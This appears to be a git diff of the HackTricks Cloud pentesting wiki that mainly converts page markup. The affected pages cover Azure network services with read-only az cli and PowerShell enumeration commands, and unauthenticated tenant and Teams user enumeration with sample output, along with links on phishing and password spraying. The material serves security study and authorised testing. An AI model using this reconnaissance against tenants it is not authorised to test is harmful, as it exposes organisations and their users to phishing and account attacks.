-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md
similarity index 77%
rename from pentesting-cloud/azure-security/az-services/vms/az-azure-network.md
rename to src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md
index 83208cca7..e0b769a4a 100644
--- a/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md
+++ b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md
@@ -1,19 +1,6 @@
 # Az - Azure Network
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -29,17 +16,17 @@ By default all subnets within the same Azure Virtual Network (VNet) **can commun
 
 **Example:**
 
-* `MyVNet` with an IP address range of 10.0.0.0/16.
-  * **Subnet-1:** 10.0.0.0/24 for web servers.
-  * **Subnet-2:** 10.0.1.0/24 for database servers.
+- `MyVNet` with an IP address range of 10.0.0.0/16.
+  - **Subnet-1:** 10.0.0.0/24 for web servers.
+  - **Subnet-2:** 10.0.1.0/24 for database servers.
 
 ### Enumeration
 
 To list all the VNets and subnets in an Azure account, you can use the Azure Command-Line Interface (CLI). Here are the steps:
 
-{% tabs %}
-{% tab title="az cli" %}
-{% code overflow="wrap" %}
+{{#tabs }}
+{{#tab name="az cli" }}
+
 ```bash
 # List VNets
 az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"
@@ -47,22 +34,22 @@ az network vnet list --query "[].{name:name, location:location, addressSpace:add
 # List subnets of a VNet
 az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table
 ```
-{% endcode %}
-{% endtab %}
-{% tab title="PowerShell" %}
-{% code overflow="wrap" %}
+
+{{#endtab }}
+{{#tab name="PowerShell" }}
+
 ```powershell
 # List VNets
 Get-AzVirtualNetwork | Select-Object Name, Location, @{Name="AddressSpace"; Expression={$_.AddressSpace.AddressPrefixes}}
 
 # List subnets of a VNet
-Get-AzVirtualNetwork -ResourceGroupName <ResourceGroupName> -Name <VNetName> | 
-Select-Object -ExpandProperty Subnets | 
+Get-AzVirtualNetwork -ResourceGroupName <ResourceGroupName> -Name <VNetName> |
+Select-Object -ExpandProperty Subnets |
 Select-Object Name, AddressPrefix
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ## Network Security Groups (NSG)
 
@@ -72,14 +59,14 @@ NSGs can be associated to **subnets and NICs.**
 
 **Rules example:**
 
-* An inbound rule allowing HTTP traffic (port 80) from any source to your web servers.
-* An outbound rule allowing only SQL traffic (port 1433) to a specific destination IP address range.
+- An inbound rule allowing HTTP traffic (port 80) from any source to your web servers.
+- An outbound rule allowing only SQL traffic (port 1433) to a specific destination IP address range.
 
 ### Enumeration
 
-{% tabs %}
-{% tab title="az cli" %}
-{% code overflow="wrap" %}
+{{#tabs }}
+{{#tab name="az cli" }}
+
 ```bash
 # List NSGs
 az network nsg list --query "[].{name:name, location:location}" -o table
@@ -91,24 +78,25 @@ az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupNam
 # Get NICs and subnets using this NSG
 az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"
 ```
-{% endcode %}
-{% endtab %}
-{% tab title="PowerShell" %}
-{% code overflow="wrap" %}
+
+{{#endtab }}
+{{#tab name="PowerShell" }}
+
 ```powershell
 # List NSGs
 Get-AzNetworkSecurityGroup | Select-Object Name, Location
 Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName>
 
 # Get NSG rules
-(Get-AzNetworkSecurityGroup -ResourceGroupName <NSGName> -Name <ResourceGroupName>).SecurityRules 
+(Get-AzNetworkSecurityGroup -ResourceGroupName <NSGName> -Name <ResourceGroupName>).SecurityRules
 
 # Get NICs and subnets using this NSG
 (Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName>).Subnets
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
+
 ## Azure Firewall
 
 Azure Firewall is a **managed network security service** in Azure that protects cloud resources by inspecting and controlling traffic. It is a **stateful firewall** that filters traffic based on rules for Layers 3 to 7, supporting communication both **within Azure** (east-west traffic) and **to/from external networks** (north-south traffic). Deployed at the **Virtual Network (VNet) level**, it provides centralized protection for all subnets in the VNet. Azure Firewall automatically scales to handle traffic demands and ensures high availability without requiring manual setup.
@@ -127,9 +115,9 @@ It is available in three SKUs—**Basic**, **Standard**, and **Premium**, each t
 
 ### Enumeration
 
-{% tabs %}
-{% tab title="az cli" %}
-{% code overflow="wrap" %}
+{{#tabs }}
+{{#tab name="az cli" }}
+
 ```bash
 # List Azure Firewalls
 az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table
@@ -143,10 +131,10 @@ az network firewall application-rule collection list --firewall-name <FirewallNa
 # Get nat rules of a firewall
 az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
 ```
-{% endcode %}
-{% endtab %}
-{% tab title="PowerShell" %}
-{% code overflow="wrap" %}
+
+{{#endtab }}
+{{#tab name="PowerShell" }}
+
 ```powershell
 # List Azure Firewalls
 Get-AzFirewall
@@ -160,21 +148,21 @@ Get-AzFirewall
 # Get nat rules of a firewall
 (Get-AzFirewall -Name <FirewallName> -ResourceGroupName <ResourceGroupName>).NatRuleCollections
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ## Azure Route Tables
 
-Azure **Route Tables** are used to control the routing of network traffic within a  subnet. They define rules that specify how packets should be forwarded, either to Azure resources, the internet, or a specific next hop like a Virtual Appliance or Azure Firewall. You can associate a route table with a **subnet**, and all resources within that subnet will follow the routes in the table.
+Azure **Route Tables** are used to control the routing of network traffic within a subnet. They define rules that specify how packets should be forwarded, either to Azure resources, the internet, or a specific next hop like a Virtual Appliance or Azure Firewall. You can associate a route table with a **subnet**, and all resources within that subnet will follow the routes in the table.
 
 **Example:** If a subnet hosts resources that need to route outbound traffic through a Network Virtual Appliance (NVA) for inspection, you can create a **route** in a route table to redirect all traffic (e.g., `0.0.0.0/0`) to the NVA's private IP address as the next hop.
 
 ### **Enumeration**
 
-{% tabs %}
-{% tab title="az cli" %}
-{% code overflow="wrap" %}
+{{#tabs }}
+{{#tab name="az cli" }}
+
 ```bash
 # List Route Tables
 az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
@@ -182,10 +170,10 @@ az network route-table list --query "[].{name:name, resourceGroup:resourceGroup,
 # List routes for a table
 az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table
 ```
-{% endcode %}
-{% endtab %}
-{% tab title="PowerShell" %}
-{% code overflow="wrap" %}
+
+{{#endtab }}
+{{#tab name="PowerShell" }}
+
 ```powershell
 # List Route Tables
 Get-AzRouteTable
@@ -193,18 +181,18 @@ Get-AzRouteTable
 # List routes for a table
 (Get-AzRouteTable -Name <RouteTableName> -ResourceGroupName <ResourceGroupName>).Routes
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
+
 ## Azure Private Link
 
 Azure Private Link is a service in Azure that **enables private access to Azure services** by ensuring that **traffic between your Azure virtual network (VNet) and the service travels entirely within Microsoft's Azure backbone network**. It effectively brings the service into your VNet. This setup enhances security by not exposing the data to the public internet.
 
 Private Link can be used with various Azure services, like Azure Storage, Azure SQL Database, and custom services shared via Private Link. It provides a secure way to consume services from within your own VNet or even from different Azure subscriptions.
 
-{% hint style="danger" %}
-NSGs do not apply to private endpoints, which clearly means that associating an NSG with a subnet that contains the Private Link will have no effect.
-{% endhint %}
+> [!CAUTION]
+> NSGs do not apply to private endpoints, which clearly means that associating an NSG with a subnet that contains the Private Link will have no effect.
 
 **Example:**
 
@@ -212,9 +200,9 @@ Consider a scenario where you have an **Azure SQL Database that you want to acce
 
 ### **Enumeration**
 
-{% tabs %}
-{% tab title="az cli" %}
-{% code overflow="wrap" %}
+{{#tabs }}
+{{#tab name="az cli" }}
+
 ```bash
 # List Private Link Services
 az network private-link-service list --query "[].{name:name, location:location, resourceGroup:resourceGroup}" -o table
@@ -222,10 +210,10 @@ az network private-link-service list --query "[].{name:name, location:location,
 # List Private Endpoints
 az network private-endpoint list --query "[].{name:name, location:location, resourceGroup:resourceGroup, privateLinkServiceConnections:privateLinkServiceConnections}" -o table
 ```
-{% endcode %}
-{% endtab %}
-{% tab title="PowerShell" %}
-{% code overflow="wrap" %}
+
+{{#endtab }}
+{{#tab name="PowerShell" }}
+
 ```powershell
 # List Private Link Services
 Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName
@@ -233,9 +221,9 @@ Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName
 # List Private Endpoints
 Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, PrivateEndpointConnections
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ## Azure Service Endpoints
 
@@ -247,9 +235,9 @@ For instance, an **Azure Storage** account by default is accessible over the pub
 
 ### **Enumeration**
 
-{% tabs %}
-{% tab title="az cli" %}
-{% code overflow="wrap" %}
+{{#tabs }}
+{{#tab name="az cli" }}
+
 ```bash
 # List Virtual Networks with Service Endpoints
 az network vnet list --query "[].{name:name, location:location, serviceEndpoints:serviceEndpoints}" -o table
@@ -257,42 +245,42 @@ az network vnet list --query "[].{name:name, location:location, serviceEndpoints
 # List Subnets with Service Endpoints
 az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, serviceEndpoints:serviceEndpoints}" -o table
 ```
-{% endcode %}
-{% endtab %}
-{% tab title="PowerShell" %}
-{% code overflow="wrap" %}
+
+{{#endtab }}
+{{#tab name="PowerShell" }}
+
 ```powershell
 # List Virtual Networks with Service Endpoints
 Get-AzVirtualNetwork
 
 # List Subnets with Service Endpoints
-(Get-AzVirtualNetwork -ResourceGroupName <ResourceGroupName> -Name <VNetName>).Subnets 
+(Get-AzVirtualNetwork -ResourceGroupName <ResourceGroupName> -Name <VNetName>).Subnets
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### Differences Between Service Endpoints and Private Links
 
 Microsoft recommends using Private Links in the [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints):
 
-<figure><img src="../../../../.gitbook/assets/image (25).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../images/image (25).png" alt=""><figcaption></figcaption></figure>
 
 **Service Endpoints:**
 
-* Traffic from your VNet to the Azure service travels over the Microsoft Azure backbone network, bypassing the public internet.
-* The endpoint is a direct connection to the Azure service and does not provide a private IP for the service within the VNet.
-* The service itself is still accessible via its public endpoint from outside your VNet unless you configure the service firewall to block such traffic.
-* It's a one-to-one relationship between the subnet and the Azure service.
-* Less expensive than Private Links.
+- Traffic from your VNet to the Azure service travels over the Microsoft Azure backbone network, bypassing the public internet.
+- The endpoint is a direct connection to the Azure service and does not provide a private IP for the service within the VNet.
+- The service itself is still accessible via its public endpoint from outside your VNet unless you configure the service firewall to block such traffic.
+- It's a one-to-one relationship between the subnet and the Azure service.
+- Less expensive than Private Links.
 
 **Private Links:**
 
-* Private Link maps Azure services into your VNet via a private endpoint, which is a network interface with a private IP address within your VNet.
-* The Azure service is accessed using this private IP address, making it appear as if it's part of your network.
-* Services connected via Private Link can be accessed only from your VNet or connected networks; there's no public internet access to the service.
-* It enables a secure connection to Azure services or your own services hosted in Azure, as well as a connection to services shared by others.
-* It provides more granular access control via a private endpoint in your VNet, as opposed to broader access control at the subnet level with service endpoints.
+- Private Link maps Azure services into your VNet via a private endpoint, which is a network interface with a private IP address within your VNet.
+- The Azure service is accessed using this private IP address, making it appear as if it's part of your network.
+- Services connected via Private Link can be accessed only from your VNet or connected networks; there's no public internet access to the service.
+- It enables a secure connection to Azure services or your own services hosted in Azure, as well as a connection to services shared by others.
+- It provides more granular access control via a private endpoint in your VNet, as opposed to broader access control at the subnet level with service endpoints.
 
 In summary, while both Service Endpoints and Private Links provide secure connectivity to Azure services, **Private Links offer a higher level of isolation and security by ensuring that services are accessed privately without exposing them to the public internet**. Service Endpoints, on the other hand, are easier to set up for general cases where simple, secure access to Azure services is required without the need for a private IP in the VNet.
 
@@ -308,9 +296,9 @@ Imagine you have a globally distributed application with users all around the wo
 
 ### Enumeration
 
-{% tabs %}
-{% tab title="az cli" %}
-{% code overflow="wrap" %}
+{{#tabs }}
+{{#tab name="az cli" }}
+
 ```bash
 # List Azure Front Door Instances
 az network front-door list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
@@ -318,10 +306,10 @@ az network front-door list --query "[].{name:name, resourceGroup:resourceGroup,
 # List Front Door WAF Policies
 az network front-door waf-policy list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
 ```
-{% endcode %}
-{% endtab %}
-{% tab title="PowerShell" %}
-{% code overflow="wrap" %}
+
+{{#endtab }}
+{{#tab name="PowerShell" }}
+
 ```powershell
 # List Azure Front Door Instances
 Get-AzFrontDoor
@@ -329,9 +317,9 @@ Get-AzFrontDoor
 # List Front Door WAF Policies
 Get-AzFrontDoorWafPolicy -Name <policyName> -ResourceGroupName <resourceGroupName>
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ## Azure Application Gateway and Azure Application Gateway WAF
 
@@ -344,24 +332,24 @@ And **protect your website from attacks using the WAF capabilities.**
 
 ### **Enumeration**
 
-{% tabs %}
-{% tab title="az cli" %}
-{% code overflow="wrap" %}
+{{#tabs }}
+{{#tab name="az cli" }}
+
 ```bash
 # List the Web Application Firewall configurations for your Application Gateways
 az network application-gateway waf-config list --gateway-name <AppGatewayName> --resource-group <ResourceGroupName> --query "[].{name:name, firewallMode:firewallMode, ruleSetType:ruleSetType, ruleSetVersion:ruleSetVersion}" -o table
 ```
-{% endcode %}
-{% endtab %}
-{% tab title="PowerShell" %}
-{% code overflow="wrap" %}
+
+{{#endtab }}
+{{#tab name="PowerShell" }}
+
 ```powershell
 # List the Web Application Firewall configurations for your Application Gateways
 (Get-AzApplicationGateway -Name <AppGatewayName> -ResourceGroupName <ResourceGroupName>).WebApplicationFirewallConfiguration
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ## Azure Hub, Spoke & VNet Peering
 
@@ -370,9 +358,7 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
 
 **Azure Hub and Spoke** is a network topology used in Azure to manage and organize network traffic. **The "hub" is a central point that controls and routes traffic between different "spokes"**. The hub typically contains shared services such as network virtual appliances (NVAs), Azure VPN Gateway, Azure Firewall, or Azure Bastion. The **"spokes" are VNets that host workloads and connect to the hub using VNet peering**, allowing them to leverage the shared services within the hub. This model promotes clean network layout, reducing complexity by centralizing common services that multiple workloads across different VNets can use.
 
-{% hint style="danger" %}
-**VNET pairing is non-transitive in Azure**, which means that if spoke 1 is connected to spoke 2 and spoke 2 is connected to spoke 3 then spoke 1 cannot talk directly to spoke 3.
-{% endhint %}
+> [!CAUTION] > **VNET pairing is non-transitive in Azure**, which means that if spoke 1 is connected to spoke 2 and spoke 2 is connected to spoke 3 then spoke 1 cannot talk directly to spoke 3.
 
 **Example:**
 
@@ -380,9 +366,9 @@ Imagine a company with separate departments like Sales, HR, and Development, **e
 
 ### Enumeration
 
-{% tabs %}
-{% tab title="az cli" %}
-{% code overflow="wrap" %}
+{{#tabs }}
+{{#tab name="az cli" }}
+
 ```bash
 # List all VNets in your subscription
 az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}" -o table
@@ -393,13 +379,13 @@ az network vnet peering list --resource-group <ResourceGroupName> --vnet-name <V
 # List Shared Resources (e.g., Azure Firewall) in the Hub
 az network firewall list --query "[].{name:name, location:location, resourceGroup:resourceGroup}" -o table
 ```
-{% endcode %}
-{% endtab %}
-{% tab title="PowerShell" %}
-{% code overflow="wrap" %}
+
+{{#endtab }}
+{{#tab name="PowerShell" }}
+
 ```powershell
 # List all VNets in your subscription
-Get-AzVirtualNetwork 
+Get-AzVirtualNetwork
 
 # List VNet peering connections for a given VNet
 (Get-AzVirtualNetwork -ResourceGroupName <ResourceGroupName> -Name <VNetName>).VirtualNetworkPeerings
@@ -407,9 +393,9 @@ Get-AzVirtualNetwork
 # List Shared Resources (e.g., Azure Firewall) in the Hub
 Get-AzFirewall
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ## Site-to-Site VPN
 
@@ -421,9 +407,9 @@ A business with its main office located in New York has an on-premises data cent
 
 ### **Enumeration**
 
-{% tabs %}
-{% tab title="az cli" %}
-{% code overflow="wrap" %}
+{{#tabs }}
+{{#tab name="az cli" }}
+
 ```bash
 # List VPN Gateways
 az network vnet-gateway list --query "[].{name:name, location:location, resourceGroup:resourceGroup}" -o table
@@ -431,10 +417,10 @@ az network vnet-gateway list --query "[].{name:name, location:location, resource
 # List VPN Connections
 az network vpn-connection list --gateway-name <VpnGatewayName> --resource-group <ResourceGroupName> --query "[].{name:name, connectionType:connectionType, connectionStatus:connectionStatus}" -o table
 ```
-{% endcode %}
-{% endtab %}
-{% tab title="PowerShell" %}
-{% code overflow="wrap" %}
+
+{{#endtab }}
+{{#tab name="PowerShell" }}
+
 ```powershell
 # List VPN Gateways
 Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
@@ -442,9 +428,9 @@ Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
 # List VPN Connections
 Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ## Azure ExpressRoute
 
@@ -456,36 +442,23 @@ A multinational corporation requires a **consistent and reliable connection to i
 
 ### **Enumeration**
 
-{% tabs %}
-{% tab title="az cli" %}
-{% code overflow="wrap" %}
+{{#tabs }}
+{{#tab name="az cli" }}
+
 ```bash
 # List ExpressRoute Circuits
 az network express-route list --query "[].{name:name, location:location, resourceGroup:resourceGroup, serviceProviderName:serviceProviderName, peeringLocation:peeringLocation}" -o table
 ```
-{% endcode %}
-{% endtab %}
-{% tab title="PowerShell" %}
-{% code overflow="wrap" %}
+
+{{#endtab }}
+{{#tab name="PowerShell" }}
+
 ```powershell
 # List ExpressRoute Circuits
 Get-AzExpressRouteCircuit
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+{{#endtab }}
+{{#endtabs }}
 
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md
similarity index 80%
rename from pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md
rename to src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md
index 6fd2ea79d..d9358cdee 100644
--- a/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md
+++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md
@@ -1,19 +1,6 @@
 # Az - Unauthenticated Enum & Initial Entry
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Azure Tenant
 
@@ -142,11 +129,11 @@ Output:
 
 Furthermore it is possible to enumerate availability information about existing users like the following:
 
-* Available
-* Away
-* DoNotDisturb
-* Busy
-* Offline
+- Available
+- Away
+- DoNotDisturb
+- Busy
+- Offline
 
 If an **out-of-office message** is configured, it's also possible to retrieve the message using TeamsEnum. If an output file was specified, the out-of-office messages are automatically stored within the JSON file:
 
@@ -192,10 +179,7 @@ Output:
           },
           "isOutOfOffice": true
         },
-        "capabilities": [
-          "Audio",
-          "Video"
-        ],
+        "capabilities": ["Audio", "Video"],
         "availability": "Away",
         "activity": "Away",
         "deviceType": "Mobile"
@@ -247,31 +231,18 @@ Use [**Storage Explorer**](https://azure.microsoft.com/en-us/features/storage-ex
 
 ### Phishing
 
-* [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credentials or OAuth App -[Illicit Consent Grant Attack](az-oauth-apps-phishing.md)-)
-* [**Device Code Authentication** Phishing](az-device-code-authentication-phishing.md)
+- [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credentials or OAuth App -[Illicit Consent Grant Attack](az-oauth-apps-phishing.md)-)
+- [**Device Code Authentication** Phishing](az-device-code-authentication-phishing.md)
 
 ### Password Spraying / Brute-Force
 
-{% content-ref url="az-password-spraying.md" %}
-[az-password-spraying.md](az-password-spraying.md)
-{% endcontent-ref %}
+{{#ref}}
+az-password-spraying.md
+{{#endref}}
 
 ## References
 
-* [https://aadinternals.com/post/just-looking/](https://aadinternals.com/post/just-looking/)
-* [https://www.securesystems.de/blog/a-fresh-look-at-user-enumeration-in-microsoft-teams/](https://www.securesystems.de/blog/a-fresh-look-at-user-enumeration-in-microsoft-teams/)
+- [https://aadinternals.com/post/just-looking/](https://aadinternals.com/post/just-looking/)
+- [https://www.securesystems.de/blog/a-fresh-look-at-user-enumeration-in-microsoft-teams/](https://www.securesystems.de/blog/a-fresh-look-at-user-enumeration-in-microsoft-teams/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md
new file mode 100644
index 000000000..2b0e09538
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md
@@ -0,0 +1,7 @@
+# Az - Device Code Authentication Phishing
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+**Check:** [**https://o365blog.com/post/phishing/**](https://o365blog.com/post/phishing/)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md
similarity index 62%
rename from pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md
rename to src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md
index 540e9a615..765af036d 100644
--- a/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md
+++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md
@@ -1,19 +1,6 @@
 # Az - OAuth Apps Phishing
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## OAuth App Phishing
 
@@ -23,50 +10,45 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).p
 
 By default any **user can give consent to apps**, although this can be configured so users can only consent to **apps from verified publishers for selected permissions** or to even **remove the permission** for users to consent to applications.
 
